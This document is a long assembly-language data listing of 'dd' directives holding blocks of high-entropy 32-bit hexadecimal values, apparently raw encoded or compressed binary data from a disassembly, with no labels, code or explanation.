dd 0ED0DDCF9h, 0D7D5C882h, 0EA950F33h, 1FC596ABh, 0FAC5DF05h
dd 335662B0h, 2C9DA387h, 70552578h, 47D63D8Ah, 0D398A648h
dd 0F2756823h, 0E4EE8B25h, 727CD479h, 4F560DEh, 0E81CFD09h
dd 955AA687h, 6991F449h, 38F086A8h, 4E6B27B7h, 0FE34E48Ah
dd 0F97D3750h, 72AF1252h, 0EE0B33E6h, 52F03CC0h, 53F82F5Dh
dd 6AE65E80h, 1CEBF577h, 8408EBFDh, 7189AD69h, 5AC59207h
dd 2A2D4F7Fh, 3CD446DDh, 62E1064Bh, 9DC2754Dh, 77294A40h
dd 0A0EC148h, 367E41A2h, 42F55A67h, 0F5B46A49h, 79D9713Fh
dd 432AD640h, 1CEFCD29h, 5223AFEDh, 20E7F25Fh, 5C6314C1h
dd 4B255B79h, 0E5AF7FA2h, 55DD73C2h, 0F5CBD69Bh, 1E0A40CFh
dd 9479C6C2h, 0DC0BDC39h, 0DB3F5785h, 222A822Ah, 95D7188Eh
dd 3D9FEAD7h, 1FA97DEDh
dd 0A8300038h, 0E8F4D027h, 6DEAFE0Eh, 4B4286DAh, 9DDCF3DDh
dd 6099BEEFh, 0BDC76176h, 0D6DF1D32h, 0ED8400F9h, 46857831h
dd 0E52B53BBh, 0D1EAC4FFh, 0D67C38BDh, 4357AB5Ah, 0D7ACA169h
dd 0C49E725Eh, 0A75E13BFh, 8CD26B6Dh, 80138E31h, 80A634D5h
dd 840B7AE8h, 862D866Eh, 3FC57A0Ch, 0D1EC54EDh, 79C6C213h
dd 185BE456h, 2226B0E8h, 0CFDA0CCh, 0F36656D9h, 21594D71h
dd 58EDE05Ah, 0E5A039BCh, 0CD6BFAABh, 9A98B968h, 582E06Bh
dd 4E8E9767h, 0B8B6BB0Ch, 0D29977E1h, 0A76B68A6h, 935721A2h
dd 48454548h, 37A93F60h, 0D2A96F73h, 0E8739035h, 34A5AD4Fh
dd 0F26EAA13h, 81174D51h, 0A970DBAFh, 4A9D7036h, 80CB22B7h
dd 7951A0A5h, 0B0C99BDEh, 0DD486FCFh, 1481275Ch, 78C1ADEFh
dd 0FA3A4EC1h, 0B852D60Fh, 8DB7EFF5h, 7EEEF6D2h, 5BD37A32h
dd 0F2FC4841h, 4C088C41h, 0BBA75745h, 0BA38CD14h, 3915CD9Dh
dd 65ECD61Fh, 7D2954ABh, 68E7E79Ch, 3D27A7D8h, 7F63195Fh
dd 575D6D64h, 67701A76h, 649D961Bh, 2BC39EF2h, 0E704B4B1h
dd 0D8F510CAh, 0A0AACCD5h, 8E729E64h, 0F770E999h, 2693FCF3h
dd 11FFF9F5h, 0A0CE59Dh, 0DF1B50C4h, 6573CC35h, 54ECAB2Ah
dd 2B1A3128h, 0A20CF24Bh, 9E1FADEh, 89468F6Fh, 0B49E30A3h
dd 7ADDC36Ch, 0ECDA6C24h, 0B36EC7A8h, 20E8F185h, 0D67CA18Ah
dd 0B6497CA9h, 0A61E8E37h, 0A54CADCDh, 0EF093D0Bh, 0F34BABDh
dd 6FF1B0D7h, 8C87050Eh, 923E2B9h, 0C6D3C1C1h, 5588A81Eh
dd 22670917h, 0DC95EAD9h, 25D05316h, 15F092DDh, 15D3470Dh
dd 0A7521A4h, 11B2EFEh, 265F219Fh, 0C0B7658Fh, 0D42E7B57h
dd 9B7C84B0h, 577C9F24h, 79C2C3F7h, 88ABE269h, 48C2C0C4h
dd 273E01A3h, 0F0876EB4h, 4BE0EEECh, 0B27BCC9Eh, 1BB55BAAh
dd 68EFAF74h, 0A0526B86h, 0F464E5CCh, 0BBF0116h, 7E9045D2h
dd 3D522941h, 99723AB4h, 0ADABA861h, 0B11050A0h, 71E509DEh
dd 39EF909h, 295CD55Eh, 27F02087h, 1B07F81Bh, 40352B36h
dd 5A7DB2B4h, 0CFC40B76h, 2F765EBAh, 7383F1DDh, 0D1713B39h
dd 6A223562h, 64D51AA0h, 4BB613B3h, 4F77C35Ah, 4911515Fh
dd 6ECFF265h, 754A2936h, 58521712h, 7A404A96h, 5C7E421Ah
dd 869E4D2Fh, 704D8DB4h, 94D98993h, 47A9C0FAh, 0BAD204D9h
dd 0F6E9AB0Bh, 63AB8841h, 0C320AB6h, 769E6063h, 9CEF3982h
dd 2642ECE1h, 16C4D548h, 0E8578B07h, 9DE8B4E2h, 1F1B80FFh
dd 975301E4h, 0DEAF3895h, 19F6E1C0h, 4206A55Ah, 713FE062h
dd 0A088E565h, 8C52341Ch, 35FD56CEh, 42BE1A4Ch, 0AAD1DBB5h
dd 971A22DAh, 0F85AB327h, 9B52C889h, 0B6E71C7Fh, 0B2644432h
dd 15FE0E83h, 210EF2E8h, 0FC872D08h, 631A5C44h, 0D59C5412h
dd 0F1223633h, 0E05B6A9Ch, 3579FD2h, 0BC49ACBCh, 8FC07C42h
dd 0FBF1207Fh, 0B80F9EFEh, 0C1A9CD4Dh, 0E81EB69h, 93F449EAh
dd 6591787h, 0F14350E7h, 0B2AF1985h, 0C7D370BAh, 0EF2071Ch
dd 4A4164EEh, 2D38E839h, 91FF0146h, 5C65F3CDh, 0EEB85B03h
dd 25A04EC7h, 0C9E19AACh, 8CF6F220h, 17B5ACCh, 0F6A319E2h
dd 4275582Eh, 1BFDF418h, 741B61E0h, 0EC641169h, 0C7BABA83h
dd 0A2F83D17h, 24D21A50h, 7AD0B36h, 52C1730Dh, 0C7F11CFFh
dd 0E87F9884h, 714A0891h, 630E53AFh, 35502866h, 87C48949h
dd 5961D937h, 0DB935586h, 59AB17F6h, 0A6D582D1h, 0BD02A562h
dd 6006C40Bh, 0EF03FEAh, 5B982CCh, 91BF22FAh, 0DD7C181Ch
dd 61F3472h, 90100569h, 164DB2A8h, 9426C17h, 1D5ECAEFh
dd 0C1039FE5h, 96A02DEEh, 0D07D637Bh, 532183FDh, 1C843D6Ch
dd 780E78BCh, 7F47B362h, 549B26F4h, 0AC3D69BFh, 51A544AEh
dd 788D583Ch, 9B9F39Fh, 0C6635F7Dh, 0F1C1F470h, 0D4B93094h
dd 419F0F02h, 0C92426E8h, 36527DEFh, 7BE7DC8Ch, 918BF3E8h
dd 45CC99D3h, 66E9D251h, 0C20D88CBh, 139C8B0h, 6F2860F5h
dd 7FCB4EBBh, 0F1D02DF5h, 0D8B5828Bh, 0B1BE7327h, 8B332156h
dd 0C22580D1h, 0C1D57BF1h, 70463B4Ch, 1E5BC2D2h, 152924E2h
dd 84D8905Eh, 0E7A87F5Ch, 74730655h, 0D59FBBEDh, 135691AAh
dd 821AD58Fh, 264D3E25h, 5C0BE79Eh, 0AC3A41DFh, 7634888Bh
dd 0E42BA994h, 33DC445Ah, 0EFECCEBBh, 77F9F180h, 0F641E369h
dd 0FC4F2F6Dh, 35C089B6h, 2406188Eh, 42AFA98Ch, 73A1B527h
dd 151A2579h, 202AD146h, 18DAF541h, 41B54DB4h, 4549BBFh
dd 0D600DC45h, 3517B6B9h, 0C0894668h, 22AB817Bh, 0BE90CF80h
dd 750AC892h, 47ADD40Ch, 1024DD8Bh, 67CDD2C0h, 0B7B03D3Eh
dd 107C3A1Ch, 5C2D8A1h, 0C7AA406Ch, 6046F290h, 0AA340286h
dd 97E58DE3h, 7813CE5h, 3F850778h, 6AED3E95h, 332B2291h
dd 0A5A31C1h, 0A80C2800h, 0C9FFAA18h, 9D8920EEh, 0F7AC999Fh
dd 0D96A3BA6h, 7884F37Fh, 774107D2h, 5A831B60h, 0F3B98898h
dd 0BFEE34B3h, 0E11A3F61h, 984B01B8h, 22EF58E9h, 1EC7AE1Fh
dd 107B7FDDh, 75BC8AC5h, 1CA59EBEh, 85DB5D08h, 583EF4B1h
dd 4822959Ah, 0FEDE7C76h, 0B7FE296Dh, 89492A8Bh, 0EE3AFC47h
dd 0BDF20CAh, 0C4C0C115h, 0BF870337h, 0AFBCA0Ch, 355592F3h
dd 4D515976h, 0A2B49A98h, 4037ABA4h, 32A6EEFFh, 2113C122h
dd 0DEA3D186h, 2AF5EB05h, 5E3B815Ah, 414791A4h, 30DABA96h
dd 2F3918F6h, 0A1AABC51h, 9CEC8CEBh, 64741093h, 513D9CFFh
dd 75F7C3D8h, 0CEB5B50Ch, 6EAD8073h, 494417BEh, 0AF8B9CACh
dd 8872285Ch, 9518385Fh, 0EA6F0929h, 15949EB5h, 838216F0h
dd 0D0F42F70h, 7CAC3D6Fh, 6EDF18A3h, 59009D31h, 3AABF459h
dd 40ED3720h, 86A88C54h, 1310E1EEh, 383EC088h, 0BB28AEFAh
dd 49D20AF3h, 0A411D13h, 803ABD9Ah, 11432839h, 0B0FF4DBDh
dd 65A881E8h, 0C975A793h, 0A443DF97h, 3C7AB9F7h, 0BBD9E502h
dd 0B825667Eh, 8AF11C00h, 7037E61Bh, 3E487D60h, 1628D476h
dd 0A43DD32h, 0C686C549h, 0B625654Ch, 0B7C45271h, 2339A651h
dd 84AAF74Eh, 1A201DD2h, 8FB1F55Eh, 0BED5A8EAh, 455075C4h
dd 7D221E0Fh, 689F8AE4h, 68FD536Eh, 9A4F3D5h, 174524C4h
dd 0EECD2411h, 0F66215B9h, 768E03EAh, 0CAEFBE43h, 0C0714823h
dd 26C7E85Eh, 3F3B674Dh, 6ECFD6F9h, 4EF636B6h, 90699B86h
dd 1B71DCA3h, 14635A30h, 7D9E7FB1h, 39749FE6h, 0CEAABD2Ah
dd 0CE426E53h, 1E70E462h, 0DE61E01Fh, 6D8E1D1Dh, 0D08A48D1h
dd 0B109C8F3h, 0C4C53815h, 7CEE19E8h, 38EE2F6Fh, 0FB2FCC25h
dd 0DAEB5172h, 34CFDDF4h, 632EEA10h, 0A9FA74E8h, 86E74278h
dd 3B65B345h, 14B5712Bh, 4A40265Dh, 7D488D46h, 0A7616508h
dd 7FC9FA5Dh, 561CA5BBh, 5ABB1E17h, 9E5F78EBh, 847C0E4Ch
dd 0C7071E5h, 0E9734C21h, 0D2EC352Ah, 0C411A7DAh, 357FA0A5h
dd 0AF07282Ah, 0BA90DBC0h, 31D2A6D6h, 0ABBCC0CBh, 0ECA39BE2h
dd 54A7D47Ch, 0C59560Ch, 7B7A7C7Eh, 397F17E7h, 5B3D00D4h
dd 0E8BC9BA8h, 6853AE67h, 9C6ADE81h, 0AE5B1BD4h, 14DFCCBCh
dd 8FDB8E3Fh, 0C50B8C4Bh, 48527CF3h, 0B89EEC1Dh, 0CEB56C3Ah
dd 21272E57h, 0C50EA608h, 8623DB9Ch, 14FBC34h, 46CB9916h
dd 9F7B733Dh, 0EB231B74h, 0B34594F5h, 1C758142h, 0E956B98Eh
dd 75F79CE9h, 3814E729h, 54EB4E6Eh, 0C1B01008h, 0C005E298h
dd 7F9B8435h, 0F738DDB2h, 74CC1555h, 90A4392Dh, 3806FE67h
dd 0C48BDC63h, 0FE21ED7Eh, 0D97C3782h, 84B71ABEh, 0BF381E74h
dd 165BBE16h, 755223CCh
dd 42091FAFh, 0E885864Ah, 0EFA97BAAh, 53C229EBh, 0C808FBB6h
dd 0C7652AC7h, 0AE58B22Bh, 11A5095h, 0E3B337F8h, 0EA5260EFh
dd 6ABED2D7h, 7BF1B983h, 7BF7DEFAh, 94BE8FCAh, 0B2825A28h
dd 0ECC9DCB7h, 0BA4DBEE3h, 0E4EC27ACh, 3BCD1BA6h, 1B0D6590h
dd 74ECA0F7h, 94391E16h, 54CDFFAFh, 0EB8DE6FDh, 43D072ECh
dd 758E154Eh, 466246BFh, 50ABEC1h, 4D46E577h, 2282251Ah
dd 3787C14Dh, 0A5B4D75Fh, 656AC85Ch, 2C9CB5F2h, 0E493EF7h
dd 9C7B4CFh, 0D6BDE45Bh, 0FDC68F5Ch, 0D9F248C0h, 4C7F6EA5h
dd 4632A3FBh, 171C3774h, 61600301h, 0B1568FD5h, 5B648646h
dd 451FCFF0h, 7F8BECDAh, 37FAD057h, 8DBB1209h, 338C814Eh
dd 7BB1CAEBh, 0F8F9DEDDh, 0C0FCF7A7h, 7128B037h, 0C8292C79h
dd 640DE079h, 0CE73D0C3h, 4F1B69B6h, 0AEA70523h, 14D598C8h
dd 298A6425h, 15A4B9Ch, 447D09AAh, 0AA1376BCh, 0F3672628h
dd 0ED6011E4h, 0F570D68h, 0CA660FAFh, 7A0E62A8h, 35E5DDDEh
dd 0DE3EFC0Ch, 50F01614h, 6896338Fh, 157ACB22h, 9581681Bh
dd 0F237C52Ah, 1305E325h, 853BB6C1h, 98BE9AA1h, 244F1AEh
dd 36A36E6Eh, 0BFDB0715h, 297EE06Ah, 481C5A14h, 0DFA65C91h
dd 30059Fh, 0E0993869h, 0C16742CEh, 6F6B852Bh, 5EBE4C2Eh
dd 0EA0BC553h, 4C39A8F3h, 0D61E875Bh, 959631E7h, 8C5F0F23h
dd 836A8A5Ah, 7E1E5E5h, 79F66FD1h, 66C2ED6h, 0D66D5CC4h
dd 0B1A63E5Ch, 0E7049B8Bh, 0F6A18CC7h, 0BB75B9C3h, 0B7DA83D3h
dd 0A7D10099h, 0A9BE25F8h, 42AE385Dh, 1D0BD430h, 6B5DC175h
dd 0D17D20CEh, 0E3FCD1A1h, 82FCC88h, 0F7312446h, 8133C698h
dd 0DC61532Fh, 45AF107Dh, 0DED31759h, 4391CC10h, 0F06FF90Ch
dd 561C3E08h, 3CC8659Eh, 0D26EAC76h, 7A051793h, 0ECAAFDDFh
dd 511729D9h, 0CE37A789h, 7717E82Dh, 0B01924Ch, 0B24AC9CEh
dd 4DDE466Dh, 8D83501Ch, 702CBC2Eh, 2F7EEB26h, 0BB49456Fh
dd 0EDACE591h, 662E3904h, 0D769D709h, 5C2F3BEBh, 91AEBF4Eh
dd 0D1918D01h, 0CAE17D8Ch, 64292328h, 6A9B7857h, 465AF543h
dd 9ACB52D0h, 0F759DBF0h, 0CB090BFAh, 83900789h, 334A06BCh
dd 0A9CC0CF6h, 5AE4814Ah, 59819F25h, 65F18894h, 0B2FB77B2h
dd 91551514h, 166F42DCh, 0F32A979Ah, 5C4BA9D3h, 0BD3A6091h
dd 0EDA6C02h, 0E3D89121h, 8AF2D85Dh, 5C0AB79Bh, 0DDD6AD64h
dd 772A1EDEh, 0F146B781h, 8EEE474Dh, 0E8B564AFh, 427DC533h
dd 36F9B663h, 9C4A3289h, 1EB3AE42h, 61FEFB00h, 0AFEB2601h
dd 0DA7B6BBBh, 0EDF2948Bh, 29AE539h, 1BE3DE66h, 80CB3CF8h
dd 9D76AC4Bh, 48B71E6Eh, 0F327C6FAh, 62D1A6D1h, 2D641B7Fh
dd 851DF59h, 6F1A84Dh, 63F70A70h, 0FBBF7EB9h, 8C795537h
dd 0C11EC4E1h, 0BF985DC7h, 45004A3Fh, 9E7077E8h, 73E80AB2h
dd 29AEAC65h, 9815F56Dh, 8A61866Eh, 0F78BF725h, 0D8FF0190h
dd 4E4D2D95h, 0CCCD9A93h, 5FB41A88h, 0E65C20C0h, 0DDEF2946h
dd 0E0C5B225h, 1BA7E644h, 147E62C5h, 2C1864F9h, 0A8D31209h
dd 0A9F10AEBh, 63440D5Fh, 0BB8C28D3h, 8D5E6663h, 8D44FFB2h
dd 325317F6h, 0AAE23929h, 0B9A2235Ch, 0A5643B27h, 0D4E6FB8Fh
dd 0CB32F3ABh, 7B800937h, 8BC827Ah, 6E7671B5h, 3511AC9Fh
dd 4CE318F0h, 808FBBE3h, 0FCF58489h, 0B04E67Ah, 147D9B88h
dd 0A3C49096h, 43DCBD52h, 0D202C23Fh, 0C5A5B689h, 0D9BF28D2h
dd 9068C59Fh, 67A654FBh, 31EBDEB4h, 92151425h, 89FBD18h
dd 0D78D6180h, 0A6A51EC0h, 0D33AF95h, 7DB9868Ch, 0F5409AFFh
dd 0D27AB35Ah, 74F2B577h, 3B19E445h, 9BFF8092h, 0F4517D2Bh
dd 6A406AC1h, 0D18D4C17h, 84DB5EDAh, 7AD29B1Fh, 475E6C1Dh
dd 0DDA462B9h, 7BA284C8h, 0E4F77ABBh, 398D5216h, 9275D2Dh
dd 4BFF4BCBh, 9AB3B066h, 6FEFC445h, 77DA8E76h, 5BDAD9ADh
dd 0F76396F6h, 0A573F35Fh, 551E6699h, 8DB42D95h, 0B8FEE502h
dd 0E5D81671h, 0A2A6356Bh, 0E4B7850h, 87F32122h, 4892C41Eh
dd 0E2BB3FF2h, 259ADB48h, 0AEEE47Ah, 1AD8720h, 5905EEE6h
dd 5AFA91Dh, 49BC0C10h, 0B4516AD0h, 3D0CC567h, 0B178792Dh
dd 95C4E627h, 0BD7C7AF1h, 0BA22A33h, 27AC2E50h, 8BC2CF25h
dd 9B5DD17Ah, 7705EABEh, 317E6FEh, 4AD05833h, 11EA10B2h
dd 0E2289086h, 225423C6h, 0B9DBDFA7h, 4217076h, 3E9FB269h
dd 83198474h, 110826AEh, 7537C1EAh, 1B02832Ah, 3AD449E2h
dd 43F774F4h, 1D0EDF35h, 3C7EA16Ch, 0BAB534FAh, 251D2F70h
dd 9EEE8349h, 334322DFh, 0B0A18AFh, 40CD9FC5h, 38A2718Ch
dd 0BBF50B7Dh, 469B6826h, 0F2990A53h, 0ACDD7F36h, 0CC3DC9E3h
dd 1185907Eh, 0AC987D12h, 38DE8203h, 7DEA492Eh, 0D11A29Ch
dd 0CE4355Eh, 0EEEB5062h, 9A10CCA4h, 3C4756FFh, 48451361h
dd 33952B30h, 0F8519B6Bh, 0D57BC9CEh, 0E67EABCFh, 686B3428h
dd 54C34DD3h, 4C7B3AAEh, 52172352h, 1729DACBh, 0C89B6CF2h
dd 0E622B11Ah, 0C8350C45h, 0B4AA1D46h, 0E8604E6Ah, 0A7503BB5h
dd 8DB646Ah, 0F1BD1E43h, 0F6106F24h, 8F1E0520h, 386ABA0Fh
dd 0BC38989Eh, 3BAE396Ch, 0E883DA33h, 1A9639C4h, 0E2EB8627h
dd 0B8AAA3A0h, 122B19DDh, 0B48699B0h, 95630622h, 0FB03FD0Dh
dd 0D916E645h, 76445C71h, 0BA7ABACAh, 3259E4F8h, 408B6F12h
dd 0F9F770B6h, 0EC1F9AE6h, 0F8B06C66h, 1C7F1012h, 877B4359h
dd 8150A41Ch, 70FA7522h, 5557432Ch, 0D67BDA93h, 2CC23747h
dd 64FC157Ah, 0A4829426h, 725F59E8h, 0F3E48955h, 0CF3FB7E8h
dd 3D4CC608h, 0A799C874h, 0F694F73Eh, 225064EEh, 1F2AC72Ah
dd 99BE3167h, 94C334Eh, 6FD6902Fh, 1C1F9A87h, 9BCB3EAEh
dd 6588939Fh, 727865EFh, 2F29F359h, 283E2F52h, 0C3FE70ECh
dd 0BD867C8Bh, 3F157B19h, 45FD03C6h, 33793AD6h, 629EAF69h
dd 0A44248D0h, 53E635E1h, 9D3F848Bh, 2C64AA4Ah, 503A3EE4h
dd 613640B3h, 8FB85FF0h, 2C7AD620h, 0E94D9E52h, 5D335623h
dd 533DFDBCh, 4A1BE43Fh, 30377D15h, 31B998A9h, 2C45DDB3h
dd 0F3D0AFBCh, 720FD81Eh, 0A79764C7h, 0E4110299h, 0A71F2D40h
dd 0BDD8F453h, 27D5C3E0h, 627FB333h, 0FC0128E5h, 908A2F57h
dd 0DE1E751Ch, 0FB84D81Eh, 3A1EE9E1h, 696452B1h, 6E37F926h
dd 1FEB0984h, 0BD993963h, 0E4F05D69h, 0B8BA7979h, 0FBAF1D19h
dd 3CA0B369h, 0FB3B958Dh, 0C3AB0492h, 0BC221C3Ch, 0D3D664DAh
dd 0D3C45A59h, 20E72D22h, 0CC34CAF8h, 8E0CA7EDh, 5D0F1CD0h
dd 764F87BBh, 34FAA99Dh, 47DF24A8h, 46AA572Bh, 21936999h
dd 0CFD07784h, 0ADA84D06h, 804BD6F6h, 758E1DE0h, 7D263F21h
dd 0AC4417E9h, 0CA2FF9D9h, 3A0AF4B7h, 5848AA73h, 5D5EB0Ch
dd 98ADCDADh, 0C175693Fh, 0FDDF4691h, 0D8098122h, 4684EB4Fh
dd 606172C5h, 0FCD3D20h, 0B0CF99D7h, 545CBDC9h, 631C4EA7h
dd 606C633h, 45EAD109h, 0B73347h, 0A769258Eh, 113979C3h
dd 980FCD0Fh, 2CC99D9Eh, 6DCCC156h, 2FBD6394h, 0B5F881B3h
dd 0EDD6F0BEh, 8FA439D5h, 9BD36114h, 78F3D88Ah, 0EC47AE62h
dd 28C1736Dh, 0EDC0DF50h, 8BAF8DD7h, 0F9BFAB2Bh, 0B4F2433Ch
dd 0D1540483h, 0B938C6BDh, 8EA5BA7Ah, 4A23B05Eh, 94ECD14h
dd 15CFB19Fh, 1A21361Eh, 0E672DC33h, 8AAFC8Ah, 442920D2h
dd 6F5BE814h, 8F339ED5h, 0F2AFF916h, 0DD19BCDBh, 60C34E0Fh
dd 2715A2D8h, 0E6C7DAF1h, 14F3835Ah, 0B0C5BC7Fh, 2EAC3275h
dd 0DEAF6282h, 1AD36FF0h
dd 0F3146E52h, 1634F66Ch, 0B20845FAh, 8C39E9D9h, 0A86A3B14h
dd 3E2AB117h, 0A063FDC2h, 0CDE14035h, 0C34ED93Ah, 89D940E3h
dd 4D27FFF0h, 59A8BE54h, 0F59D8228h, 0F38C9B39h, 6656D918h
dd 0D3F53F7Ah, 0E6BA90h, 0BB24EBCEh, 66D3626Fh, 0A9D7283h
dd 0C765672Eh, 28C3F5DAh, 53E3D516h, 0C2BC0A8Bh, 0CDAAF854h
dd 33004650h, 383939D4h, 3C289080h, 4F822683h, 2C53678Fh
dd 64DC20E8h, 6FE45AE1h, 71778ED0h, 6FE75Ah, 47267709h
dd 1C9EF899h, 0D5282168h, 2B3F3D1Bh, 0B5335331h, 19FBCAD5h
dd 3383A367h, 780023BDh, 20B71BE5h, 3D315E44h, 4E8EBD15h
dd 0F4434074h, 509EADEFh, 7B2F6A5Fh, 9DC49923h, 90D2CD98h
dd 94277386h, 10E2E11Fh, 5CC457E9h, 0DDE6B34Eh, 0F1404727h
dd 26173860h, 0C93EC0CDh, 800FCC2Dh, 0D6635DFCh, 6E4B2634h
dd 97627A94h, 379F78D4h, 90C197EAh, 96F64C99h, 0DCB5E12Eh
dd 534F2A51h, 0A5FBA900h, 7C975A10h, 27D1274Dh, 19558E5Eh
dd 0E73D3820h, 3695C4B7h, 0A718AEE7h, 90D089Fh, 28FFDCD3h
dd 0D7BAF4D9h, 856B5B84h, 1D5CC020h, 9E5EB707h, 0C83F523Dh
dd 0A15F385Fh, 0C5EC187Ah, 9051836Eh, 7E2FA573h, 5165AC64h
dd 72C2D154h, 40871182h, 0CA052712h, 9E543478h, 0FA5A2A8Dh
dd 545C0687h, 31E53E43h, 643C849h, 8256427Bh, 8570ECA1h
dd 20DBBE49h, 0B92C33FAh, 8A07C52Ch, 36929932h, 65F52844h
dd 3B61C4Eh, 9266594Fh, 678DE6FAh, 6AF7556h, 814298A2h
dd 788AB632h, 0A0C82EA2h, 8535BA68h, 2E7A65A1h, 8775F02Eh
dd 86C8F37Eh, 44E8BD62h, 0DA97A51Fh, 73053E60h, 0F8D49690h
dd 0F084E59Bh, 5437A068h, 0B29192B7h, 0ED232445h, 0EDE27279h
dd 0B9AD4523h, 6B41299Ch, 49E5048Eh, 78B9C7FAh, 0B862CC00h
dd 8E76BD03h, 0A2691B3Fh, 27F2E875h, 574E6176h, 0BE83AAFCh
dd 0F2114FE1h, 652B158Fh, 5C592882h, 0F5722C8Ah, 0B643391Ch
dd 0D1786D82h, 0C773CC7Eh, 0A5C6BA45h, 2B25DAC2h, 56A31642h
dd 2D8A59D1h, 699F4D3Ch, 489CC2B3h, 52D3C74h, 416D1675h
dd 435A65D5h, 83A5D99h, 3890B4BFh, 8895350Dh, 1533EADFh
dd 967BCB6Fh, 0EB68C4A3h, 0AC0504ECh, 7779949Dh, 0A228156Ah
dd 0AFEFF8B9h, 0F36833E2h, 0AFA95890h, 0DECA19E7h, 312DE6C3h
dd 7DA71CCh, 0A31C1CEAh, 76FCB29Fh, 0A331FBF1h, 0DD01FC54h
dd 5DE1D57h, 361C1EA2h, 0B216FE49h, 32CF9FCh, 0F4A29B27h
dd 2F17D281h, 8EB86969h, 7D4E5308h, 26748150h, 0FA158CA3h
dd 97E2A2BFh, 0EFAF4E9Dh, 93A079C0h, 8BAA7BD9h, 620D4F58h
dd 7A9B9B74h, 0D2E66AF3h, 90567C16h, 8D7E416Eh, 724D5D8Ah
dd 228650E5h, 914951BFh, 0D36FD699h, 9EA65FFh, 0B4366B80h
dd 145B95A2h, 557224D8h, 0D35BA75Ah, 0FF76EF2Ah, 0B5CFA880h
dd 2737776Fh, 0C3FF8672h, 8301B44Fh, 0A764C9F7h, 9BA2B5D5h
dd 0CE60954Ch, 0ABDB44CEh, 60D52AC6h, 8F76B1EBh, 587087C1h
dd 980E585Dh, 0F0A05614h, 0C12925F5h, 582FD49Fh, 19D941D9h
dd 0D03A60F1h, 0B895A6A9h, 80DED99Bh, 64D0B056h, 0C3927626h
dd 21246B80h, 754A13C2h, 0FBC64FFAh, 6902D2F0h, 0D7C2AB06h
dd 0C89D2A21h, 3EACBFF9h, 0B989CAE3h, 7F2D24D6h, 0BA34CF4Ah
dd 0D2747BBAh, 8315A932h, 5FBB9A4Eh, 877C6269h, 2AB8B822h
dd 5521061Dh, 3837625Dh, 5F341FA9h, 87A074AEh, 83F75838h
dd 0C48B2262h, 0FA5B86E1h, 28C956EBh, 0B923FB4Bh, 0B11A22CDh
dd 425BCF79h, 0E507DA63h, 98AF510Ah, 100B40DAh, 0EB254CBDh
dd 0F06CD85Ah, 0A73CC7A8h, 1B9EACBFh, 0D210C495h, 0AA7DB5CDh
dd 19B1CD4Bh, 0FABA09B6h, 8CB8FD1Ah, 0A746599Bh, 0FC9306FCh
dd 0B083A77Fh, 5A17EB8Bh, 23D7A423h, 0D251E5B9h, 1D549230h
dd 6A652A4Ch, 0CD0234B1h, 0F8F51D2Bh, 0AEEDC0F1h, 0C7AC0B99h
dd 0D07A06ECh, 96F0D874h, 0D1D486F1h, 7E9B1D3Fh, 9D658F35h
dd 0A1F1A7B4h, 0A20D8216h, 0D1B2CA44h, 3A2C151Fh, 8391C696h
dd 1EF2509h, 5BC9E06Fh, 5C12EB4Eh, 0D470DA85h, 4BC3C777h
dd 0B7C64BA2h, 0D72E7BF7h, 0E894B022h, 0EF133736h, 92C73E82h
dd 7A729BE0h, 0CA2730ACh, 0AF55DDDFh, 28A26890h, 6FD3040Fh
dd 191DB526h, 0B246AD97h, 0E25821F8h, 0C630C377h, 778E7596h
dd 0A6ECF96Ah, 0BE396CD1h, 0C976C320h, 0B8891F9Fh, 8B8C0502h
dd 7538A619h, 0D08713A0h, 7A6B4929h, 0C7F60D8h, 905E550Dh
dd 48F84010h, 27B0D860h, 7A6C888Ah, 55AFBF9Bh, 264CB7AFh
dd 1D1B68FDh, 3672262h, 0BA3363E9h, 0FC743571h, 0B8941C93h
dd 0E6148337h, 69CE7208h, 99927DB3h, 3C6F7559h, 96E196C0h
dd 7644E452h, 9E166F62h, 0AC62C8AFh, 0ACD80C0h, 9C468E75h
dd 32C9C1C0h, 9BFEC75Dh, 475AD1F7h, 0E10FDF02h, 2EC3D883h
dd 0A394D7C4h, 4C6D8D3Bh, 31D485E9h, 6EE5A5C6h, 93CDFDECh
dd 47766F1Dh, 5C17AE9Bh, 0EB4BEE21h, 935FD00Ch, 0AA9C7D1Fh
dd 6E21193Eh, 9BBF2316h, 7DA8418Dh, 2C414942h, 0D5418044h
dd 0B30670Ch, 0B895A5Ah, 2F2067C2h, 23CCB2D4h, 7199F19Bh
dd 0C8B7AF2Fh, 8D08A00Ah, 0F8D63642h, 0C18BC238h, 0CB8B9C19h
dd 0F5DFC9FFh, 7568EC8h, 53169998h, 57EB5AB2h, 0F70DC81Eh
dd 0E9BADF33h, 0F367F382h, 24718FF3h, 3D419DABh, 0AF824C8Dh
dd 60DDF537h, 74EC29B9h, 58C446D6h, 0E70DF92Eh, 8FACDEB5h
dd 0D3F520F8h, 86394BE8h, 659633A5h, 0B2E0930Ah, 35D8BB47h
dd 72CE543Ch, 0E90C22EDh, 0E383F12Ch, 0CE47B1A6h, 5D8AE656h
dd 6BDB745Bh, 3E97B96h, 5BF45BE5h, 0D6098ECh, 0A4EE0684h
dd 0C50F89FDh, 0DBBDF138h, 0CB206ECDh, 29DB2FC7h, 4D8FEBEh
dd 65111FDBh, 6641F9EEh, 30AD2FD8h, 11781F4Ah, 44DC093Ch
dd 52D8CCEDh, 0D9F8119Ah, 74F8BFB4h, 0AB50C5FBh, 11A1CEFh
dd 0E7A26519h, 43CCF5F5h, 17530C1Fh, 0EE4023F6h, 4BBA4BD3h
dd 5DC0576h, 0D6BBED48h, 0C63DFFEEh, 0F6FF4BDDh, 0EDF114ACh
dd 1DC2475h, 6F35D198h, 38042263h, 0EFF5AEF2h, 32B01D03h
dd 0CDB6C770h, 8035584Ch, 0AB5D4A99h, 96580AB3h, 0A47AE5Bh
dd 0FD6E6919h, 46412CF1h, 97AEA6B5h, 58167CABh, 0E3B08967h
dd 0B700885h, 19E72DA0h, 0F4BB0176h, 43C7CE9Ch, 59F52842h
dd 0AF8B01FFh, 46086D78h, 0CB97A1B3h, 0EA5D626Ch, 848CBB89h
dd 64786436h, 0FCFC0C9Ch, 0FE0F9B78h, 8714DA36h, 4DBDE4DDh
dd 0E35F1245h, 92CC5E80h, 0C07ADA27h, 0D204D055h, 0AF9D8DA4h
dd 0DB0DCBC9h, 7D90C6E7h, 33BD49D2h, 8B428255h, 54C54819h
dd 6712B9ABh, 0E516FFA4h, 9058EA3Dh, 7197EF5h, 0FB589E3Ch
dd 0E1826D64h, 107CEF3Fh, 0C7E0E94Ah, 5B6F0AB1h, 8CC578E6h
dd 55717569h, 3192533Fh, 14EFD4C1h, 9440FE83h, 0B458111Ah
